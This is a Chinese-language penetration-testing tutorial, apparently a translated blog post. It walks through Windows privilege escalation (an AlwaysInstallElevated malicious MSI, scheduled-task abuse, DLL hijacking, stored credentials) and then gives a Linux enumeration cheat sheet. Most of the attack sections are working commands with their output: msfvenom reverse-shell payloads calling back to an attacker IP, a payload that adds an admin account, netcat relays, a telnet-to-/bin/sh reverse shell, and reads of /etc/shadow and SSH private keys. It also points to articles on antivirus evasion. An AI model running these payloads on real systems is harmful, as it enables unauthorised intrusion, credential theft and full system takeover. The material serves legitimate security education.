Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
C:\Users\testuser\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
C:\Users\testuser\Desktop>

正如我之前所说的,在这种情况下,Windows安装程序将在安装任何软件包时使用提升的权限。 所以我们应该生成一个恶意的.msi包并运行它。 MSFvenom可以处理这个。

如果你想要,你可以生成一个.msi包,添加一个本地管理员到我们的目标机器。 您应该使用Windows/adduser作为 payload:

root@kali:~# msfvenom -f msi-nouac -p windows/adduser USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 277 bytes
Final size of msi file: 159744 bytes
Saved as: add_user.msi
root@kali:~#

但在这种情况下,我将生成执行此payload的可执行反向shell payload(Payload.exe)和msi程序包(malicious.msi)。Let’s do it!
生成Payload.exe:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe

通过使用Windows/exec生成恶意.msi作为 payload。 确保您输入Payload.exe的正确路径:

root@kali:~# msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > malicious.msi
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 233 bytes
Final size of msi-nouac file: 159744 bytes

现在我们可以将这两个上传到我们的目标机器。

meterpreter > cd C:/Users/testuser/AppData/Local/Temp
meterpreter > upload -f Payload.exe
[*] uploading  : Payload.exe -> Payload.exe
[*] uploaded   : Payload.exe -> Payload.exe
meterpreter > upload -f malicious.msi
[*] uploading  : malicious.msi -> malicious.msi
[*] uploaded   : malicious.msi -> malicious.msi

在执行.msi文件之前,在另一个终端窗口上为新的hi-priv shell启动一个新的处理程序:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...

现在我们准备好执行了!

meterpreter > shell
Process 1260 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\temp>msiexec /quiet /qn /i malicious.msi 
msiexec /quiet /qn /i malicious.msi
C:\Users\testuser\AppData\Local\temp>

/quiet =安装期间禁止向用户发送任何消息
/qn =没有GUI
/i =常规安装

用SYSTEM权限享受你的shell!

[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.236
[*] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.236:36071) at 2016-12-21 04:21:57 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

想代替手动应用这种技术,你可以使用这个Metasploit模块:exploit/windows/local/always_install_elevated
该模块只需要在运行之前将其链接到现有的Meterpreter会话:

msf > use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > show options
Module options (exploit/windows/local/always_install_elevated):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
使用任务计划程序进行权限升级

此方法仅适用于Windows 2000,XP或2003计算机。 您必须拥有本地管理员权限才能管理计划的任务。 如果您有一个用户权限有限的meterpreter会话,则此方法将不起作用。

在Windows 2000,XP和2003计算机上,计划任务以SYSTEM权限运行。 这意味着如果我们创建执行我们的恶意可执行文件的计划任务,它将以SYSTEM身份运行。😉

再次,我将为这个job生成一个可执行的反向shell payload。 我们来演示一下!

生成一个可执行的反向shell payload:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe

你可以把你的 payload放在你想要的地方 我更喜欢临时文件夹:

meterpreter > getuid
Server username: TESTMACHINE\test
meterpreter > sysinfo
Computer        : TESTMACHINE
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > cd "C:/Documents and Settings/test/Local Settings/Temp"
meterpreter > upload -f Payload.exe
[*] uploading  : Payload.exe -> Payload.exe
[*] uploaded   : Payload.exe -> Payload.exe

我们应该确保任务计划程序服务工作。 尝试启动服务:

meterpreter > shell
Process 840 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\test\Local Settings\Temp>net start "Task Scheduler"
net start "Task Scheduler"
The requested service has already been started.
More help is available by typing NET HELPMSG 2182.
C:\Documents and Settings\test\Local Settings\Temp>

它似乎已经在运行。 我们来检查机器的当前时间:

C:\Documents and Settings\test\Local Settings\Temp>time
time
The current time is:  6:41:05.81
Enter the new time: 
C:\Documents and Settings\test\Local Settings\Temp>

我们将创建一个任务,在当前时间之后大约1分钟运行我们的可执行文件:

C:\Documents and Settings\test\Local Settings\Temp>at 06:42 /interactive "C:\Documents and Settings\test\Local Settings\Temp\Payload.exe"
at 06:42 /interactive "C:\Documents and Settings\test\Local Settings\Temp\Payload.exe"
Added a new job with job ID = 1
C:\Documents and Settings\test\Local Settings\Temp>

在另一个终端窗口中为新的hi-priv shell启动一个新的处理程序。 1分钟后,我们的可执行文件将以SYSTEM身份运行,并将获得具有SYSTEM权限的会话:

msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.231
[*] Meterpreter session 6 opened (192.168.2.60:8989 -> 192.168.2.231:1066) at 2017-01-05 06:42:06 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
DLL Hijacking

假设上述方法都没有用。 但当然,我们并没有放弃。 您可能需要检查正在运行的进程是否存在DLL Hijacking漏洞。

微软的这篇文章很好地解释了DLL Hijacking:

当应用程序动态加载动态链接库而不指定完全限定的路径名时,Windows会尝试通过以特定顺序搜索定义好的目录集来查找DLL,如动态链接库搜索顺序中所述。 如果攻击者获得对DLL搜索路径上目录之一的控制权,则可以在该目录中放置DLL的恶意副本。 这有时被称为DLL预加载攻击或二元种植攻击。 如果系统在搜索受损目录之前未找到合法的DLL副本,则会加载恶意DLL。 如果应用程序以管理员权限运行,则攻击者可能会成功升级本地特权。

当进程尝试加载DLL时,系统按以下顺序搜索目录:

  • 加载应用程序的目录。
  • 系统目录。
  • 16位系统目录。
  • Windows目录。
  • 当前目录。
  • PATH环境变量中列出的目录。

所以,为了利用这个漏洞,我们将遵循这个路径:

  • 检查进程查找的DLL是否存在于磁盘上的任何目录中。
  • 如果它不存在,将DLL的恶意副本放到上面提到的其中一个目录中。 当进程执行时,会发现并加载恶意DLL。
  • 如果DLL文件已经存在于任何这些路径中,请尝试将恶意DLL放在具有比原始DLL文件所在目录更高优先级的目录中。 例如,如果原始DLL存在于C:\Windows目录中,并且如果我们获得对应用程序加载的目录的控制,并将该DLL的恶意副本放在该目录中,则当应用程序尝试加载DLL文件时 将查看应用程序加载的目录。 它会发现DLL的恶意副本,并加载它。 因此,我们的恶意代码将以更高的权限执行。

我们开始研究运行过程:

meterpreter > getuid
Server username: TARGETMACHINE\testuser
meterpreter > ps
Process List
============
 PID   PPID  Name                    Arch  Session  User                    Path
 ---   ----  ----                    ----  -------  ----                    ----
 0     0     [System Process]                                               
 4     0     System                                                         
 80    564   svchost.exe                                                    
 308   4     smss.exe                                                       
 408   400   csrss.exe                                                      
 456   400   wininit.exe                                                    
 512   2584  SearchFilterHost.exe                                           
 564   456   services.exe                                                   
 572   456   lsass.exe                                                      
 656   564   svchost.exe                                                    
 680   564   svchost.exe                                                    
 700   564   svchost.exe                                                    
 816   564   vmacthlp.exe                                                   
 892   2584  SearchProtocolHost.exe                                         
 896   564   svchost.exe                                                    
 932   564   svchost.exe                                                    
 952   932   Vulnerable.exe                                                 
 968   2220  explorer.exe            x64   2        TARGETMACHINE\testuser  C:\Windows\explorer.exe
 972   564   svchost.exe                                                    
 996   80    WUDFHost.exe                                                   
 1104  564   spoolsv.exe                                                    
 1136  564   svchost.exe                                                    
 1324  564   svchost.exe                                                    
 1404  564   sqlwriter.exe                                                  
 1448  564   VGAuthService.exe                                              
 1460  2884  TPAutoConnect.exe       x64   2        TARGETMACHINE\testuser  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 1532  564   vmtoolsd.exe                                                   
 1572  80    TabTip.exe              x64   2                                
 1864  2832  dwm.exe                                                           
 1996  2568  mmc.exe                 x64   2                                
 2056  780   csrss.exe                                                      
 2224  564   msdtc.exe                                                      
 2472  932   taskhostex.exe          x64   2        TARGETMACHINE\testuser  C:\Windows\System32\taskhostex.exe
 2584  564   SearchIndexer.exe                                              
 2752  564   svchost.exe                                                    
 2832  780   winlogon.exe                                                   
 2876  952   conhost.exe                                                    
 2884  564   TPAutoConnSvc.exe                                              
 2916  896   audiodg.exe             x64   0                                
 2992  564   dllhost.exe                                                    
 3436  656   WmiPrvSE.exe                                                   
 3444  968   firefox.exe             x86   2        TARGETMACHINE\testuser  C:\Program Files (x86)\Mozilla Firefox\firefox.exe
 3480  968   vmtoolsd.exe            x64   2        TARGETMACHINE\testuser  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 3648  1460  conhost.exe             x64   2        TARGETMACHINE\testuser  C:\Windows\System32\conhost.exe
 3668  564   sppsvc.exe                                                     
 3732  1572  TabTip32.exe            x86   2                                
 3764  1752  Taskmgr.exe             x64   2        TARGETMACHINE\testuser  C:\Windows\System32\Taskmgr.exe

正如你所看到的,如果我们使用的是低权限的shell,我们就看不到具有更高权限运行的进程的详细信息,例如用户,路径,体系结构。 但是我们可以知道哪些进程使用比我们更高的权限运行。 如果其中一个进程有一些弱点,我们可以利用它来升级我们的特权。
在调查过程中,Vulnerable.exe引起了我的注意。 让我们找到它的位置并下载它:

meterpreter > search -f Vulnerable.exe
Found 1 result...
    C:\Windows\SysWOW64\Vulnerable.exe (31232 bytes)
meterpreter > cd C:/Windows/SysWOW64
meterpreter > download Vulnerable.exe
[*] downloading: Vulnerable.exe -> Vulnerable.exe
[*] download   : Vulnerable.exe -> Vulnerable.exe

当我们稍微检查一下时,我们会意识到它会尝试加载一个名为hijackable.dll的DLL。
Alt text
检测DLL劫持漏洞的最简单方法是使用Procmon工具。

要更轻松地查看结果,您应该添加以下3个过滤器:
Alt text
添加过滤器后,当您执行Vulnerable.exe时,会列出失败的DLL加载:
Alt text
如上所示,Windows试图通过搜索一个定义良好的目录来定位hijackable.dll。

在这种情况下,Vulnerable.exe具有DLL劫持漏洞。 好吧,我承认,实际上,这个可执行文件是一个简单的代码,可以在不进行一些检查的情况下加载DLL:

#include "stdafx.h"
#include "windows.h"
void _tmain(int argc, _TCHAR* argv[]) 
{ 
  LoadLibrary(L"hijackable.dll"); 
}

让我们来检查目标机器上是否存在hijackable.dll:

meterpreter > search -f hijackable.dll
No files matching your search were found.
meterpreter >

看来,DLL不存在于机器上。 但是我们现在还不能确定,也许它存在于我们没有权限查看的目录中。 不要忘记我们仍然有低权限。🙁

下一步是检查可能的弱文件夹权限。 我通常会检查软件是否安装在Python的根目录下。 因为如果在根目录中创建一个文件夹,默认情况下它是可写的所有经过身份验证的用户。 像Python,Ruby,Perl等软件通常会添加到PATH变量中。

请记住,Windows会检查PATH环境变量中列出的目录!

meterpreter > ls
Listing: C:\
============
Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
40777/rwxrwxrwx   0           dir   2017-01-18 05:59:21 -0500  $Recycle.Bin
100666/rw-rw-rw-  1           fil   2013-06-18 08:18:29 -0400  BOOTNXT
100444/r--r--r--  8192        fil   2013-09-11 14:11:46 -0400  BOOTSECT.BAK
40777/rwxrwxrwx   0           dir   2016-11-19 15:49:57 -0500  Boot
40777/rwxrwxrwx   0           dir   2013-08-22 10:45:52 -0400  Documents and Settings
40555/r-xr-xr-x   0           dir   2016-07-27 07:12:06 -0400  MSOCache
40777/rwxrwxrwx   0           dir   2013-08-22 11:22:35 -0400  PerfLogs
40555/r-xr-xr-x   0           dir   2017-01-18 04:05:59 -0500  Program Files
40555/r-xr-xr-x   0           dir   2017-01-18 04:07:04 -0500  Program Files (x86)
40777/rwxrwxrwx   0           dir   2017-01-18 04:05:28 -0500  ProgramData
40777/rwxrwxrwx   0           dir   2017-01-18 09:51:36 -0500  Python27
40777/rwxrwxrwx   0           dir   2013-09-11 13:15:09 -0400  Recovery
40777/rwxrwxrwx   0           dir   2017-01-18 03:52:51 -0500  System Volume Information
40555/r-xr-xr-x   0           dir   2017-01-04 21:51:12 -0500  Users
40777/rwxrwxrwx   0           dir   2017-01-18 03:53:05 -0500  Windows
100444/r--r--r--  404250      fil   2014-06-14 06:46:09 -0400  bootmgr
100666/rw-rw-rw-  1409286144  fil   2017-01-18 13:53:34 -0500  pagefile.sys
100666/rw-rw-rw-  16777216    fil   2017-01-18 13:53:34 -0500  swapfile.sys

就像我想的那样,Python被安装了。 我们来检查权限:

meterpreter > shell
Process 3900 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>icacls C:\Python27
icacls C:\Python27
C:\Python27 BUILTIN\Administrators:(I)(OI)(CI)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
            BUILTIN\Users:(I)(OI)(CI)(RX)
            NT AUTHORITY\Authenticated Users:(I)(M)
            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
C:\>

BINGO! 经过身份验证的用户拥有修改权限!
最后一步。 我们应该确保在PATH环境变量中是否添加了C:\ Python27目录。 最简单的方法是在shell中输入python -h。 如果帮助页面显示成功,则表示目录已添加到PATH中:

meterpreter > shell
Process 3360 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\>python -h
python -h
usage: python [option] ... [-c cmd | -m mod | file | -] [arg] ...
Options and arguments (and corresponding environment variables):
-B     : don't write .py[co] files on import; also PYTHONDONTWRITEBYTECODE=x
-c cmd : program passed in as string (terminates option list)
-d     : debug output from parser; also PYTHONDEBUG=x
-E     : ignore PYTHON* environment variables (such as PYTHONPATH)
-h     : print this help message and exit (also --help)
.
.
.

NICE! 我们来创建一个简单的反向shell payload作为DLL:

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.60 lport=8989 -f dll > hijackable.dll
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
root@kali:~#

然后将其放在C:\Python27目录中:

meterpreter > upload -f hijackable.dll
[*] uploading  : hijackable.dll -> hijackable.dll
[*] uploaded   : hijackable.dll -> hijackable.dll
meterpreter >

现在,我们应该重新启动Vulnerable.exe进程,以便进程可以加载恶意DLL。 我们可以尝试杀死这个过程。 如果我们很幸运,它会自动启动:

meterpreter > kill 952
Killing: 952
[-] stdapi_sys_process_kill: Operation failed: Access is denied.

今天我们不走运。 无论如何,我们可以尝试重新启动机器。 如果“Vulnerable.exe”是启动应用程序,服务或计划任务,则会再次启动。 在最坏的情况下,我们将等待有人来运行它。

meterpreter > shell
Process 3024 created.
Channel 3 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\Downloads>shutdown /r /t 0
shutdown /r /t 0
[*] 192.168.2.40 - Meterpreter session 3 closed.  Reason: Died

机器正在重新启动。 让我们开始一个新的处理程序,并希望它再次启动:

msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.2.60:8989 
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.2.40
[*] Meterpreter session 5 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-18 07:47:39 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

We got it! 😉

存储凭证

如果这些方法都不起作用,则可能需要尝试查找一些存储的凭据以升级您的权限。 你可能想要检查这些目录:

  • C:\unattend.xml
  • C:\sysprep.inf
  • C:\sysprep\sysprep.xml

你可能想用这样的查询来搜索文件:

  • dir c:*vnc.ini /s /b /c
  • dir c:*ultravnc.ini /s /b /c
  • dir c:\ /s /b /c | findstr /si *vnc.ini
  • findstr /si password .txt | .xml | *.ini
  • findstr /si pass .txt | .xml | *.ini
内核漏洞

在这篇博文中,我故意试图解释不依赖于内核漏洞的升级方法。 但是,如果您正在使用漏洞利用来升级您的权限,那么这个命令可能会帮助您选择使用哪一个:

wmic qfe get Caption,Description,HotFixID,InstalledOn

它将列出机器上安装的更新。

A Note About Payloads

在这篇博文中,我的有效载荷是由MSFvenom生成的。 然而今天,这些payload几乎被所有的反病毒标记。 因为它是AV供应商众所周知的流行工具。 使用AV bypassing技术创建您自己的可执行文件将为您带来最佳效果。 你可以考虑阅读这些文章:
反检测艺术1 - AV与检测技术简介
反检测艺术2 - PE后门制造

参考来源

References
[1] – https://www.trustwave.com/Resources/SpiderLabs-Blog/My-5-Top-Ways-to-Escalate-Privileges/
[2] – https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx
[3] – https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
[4] – https://www.synack.com/2014/12/10/dll-hijacking-in-2014/
[5] – http://www.fuzzysecurity.com/tutorials/16.html
[6] – https://www.exploit-db.com/docs/39732.pdf
[7] – https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/
[8] – https://toshellandback.com/2015/11/24/ms-priv-esc/
[9] – https://it-ovid.blogspot.de/2012/02/windows-privilege-escalation.html
[10] – https://blog.netspi.com/windows-privilege-escalation-part-1-local-administrator-privileges/
[11] – https://msitpros.com/?p=2012

#####基本的Linux权限升级
据我所知,在这个巨大的领域里,没有一个明确的答案,这只是我的发现。
在不同的地方或仅仅是一个不一样的灯光看东西,我知道有更多的东西要寻找。这只是一个基本和粗略的指导。由于Linux变化非常大,并不是每个命令都适用于每个系统。但它不会跳出屏幕 - 你必须寻找那个小东西,因为 魔鬼在细节中
枚举是关键。
(Linux)特权升级是关于:

  • 收集 - 枚举,更多的枚举和更多的枚举。
  • 过程 - 对数据进行排序,分析和优化。
  • 搜索 - 了解要搜索的内容以及在哪里可以找到漏洞利用代码。
  • 适应 - 自定义利用,并不是每个系统的开箱工作都是“开箱即用”的。
  • 尝试 - 准备好(很多)试验和错误

操作系统

  • 什么是分布类型?什么版本?
cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based
  • 什么内核版本?是64位吗?
  • cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
  • 从环境变量中可以学到什么?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
  • 有打印机吗?
lpstat -a

应用程序和服务

  • 哪些服务正在运行?哪个服务有哪个用户权限?
ps aux
ps -ef
top
cat /etc/services
  • 哪些服务由root运行?这些服务是脆弱的 - 值得重新检查!
ps aux | grep root
ps -ef | grep root
  • 什么应用程序安装?他们是什么版本?他们正在运行吗?

ls -alh /usr/bin/

ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
  • 任何服务(S)设置配置错误?是否有任何(易受攻击的)插件?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
  • 有哪些安排的活动?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
  • 任何纯文本用户名和/或密码?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

  • 系统有哪些网卡?它连接到另一个网络?

    /sbin/ifconfig -a
    cat /etc/network/interfaces
    cat /etc/sysconfig/network
    
  • 什么是网络配置设置?你能找到关于这个网络的什么?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
  • 还有哪些用户和主机正在与系统进行通信?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
  • 有什么缓存?IP和/或MAC地址
arp -e
route
/sbin/route -nee
  • 数据包嗅探可能吗?
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意:tcpdump tcp dst [ip] [port]和tcp dst [ip] [port]
  • 你有shell吗?你能和系统交互吗?
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!
注意:http : //lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  • 端口转发可能吗?重定向并与另一个视图的流量进行交互
注意:http : //www.boutell.com/rinetd/

注意:http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意:http : //downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]



FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
注意:ssh - [L / R] [本地端口]:[远程ip]:[远程端口] [本地用户] @ [本地ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]>回油管
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)
  • 建立隧道可能吗?
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

机密信息和用户

  • 你是谁?谁登录?谁已经登录?那里还有谁?谁可以做什么?
id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l
  • 哪些敏感文件可以找到?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

home里有什么“有趣”的东西?如果可以访问

ls -ahlR /root/
ls -ahlR /home/
  • 有没有密码?脚本,数据库,配置文件或日志文件?密码的默认路径和位置
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
  • 用户在做什么?有纯文本密码吗?他们在编辑什么?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
  • 可以找到哪些用户信息?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
  • 可以找到私钥信息吗?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

文件系统

  • 哪些配置文件可以写入/ etc /?能够重新配置服务?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone
  • 什么可以在/ var /中找到?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
  • 网站上的任何设置/文件(隐藏)?任何设置文件与数据库信息?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
  • 日志文件中是否有内容
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
注意:http : //www.thegeekstuff.com/2011/08/linux-var-log-files/
  • 如果命令是有限的,你要突破shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
  • 如何挂载文件系统?
mount
df -h
  • 有没有卸载的文件系统?
cat /etc/fstab
  • 什么“高级Linux文件权限”被使用?粘滞位,SUID和GUID
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
  • 哪里可以写入和执行?一些“常见”的地方:
- /tmp,/var/tmp,/dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

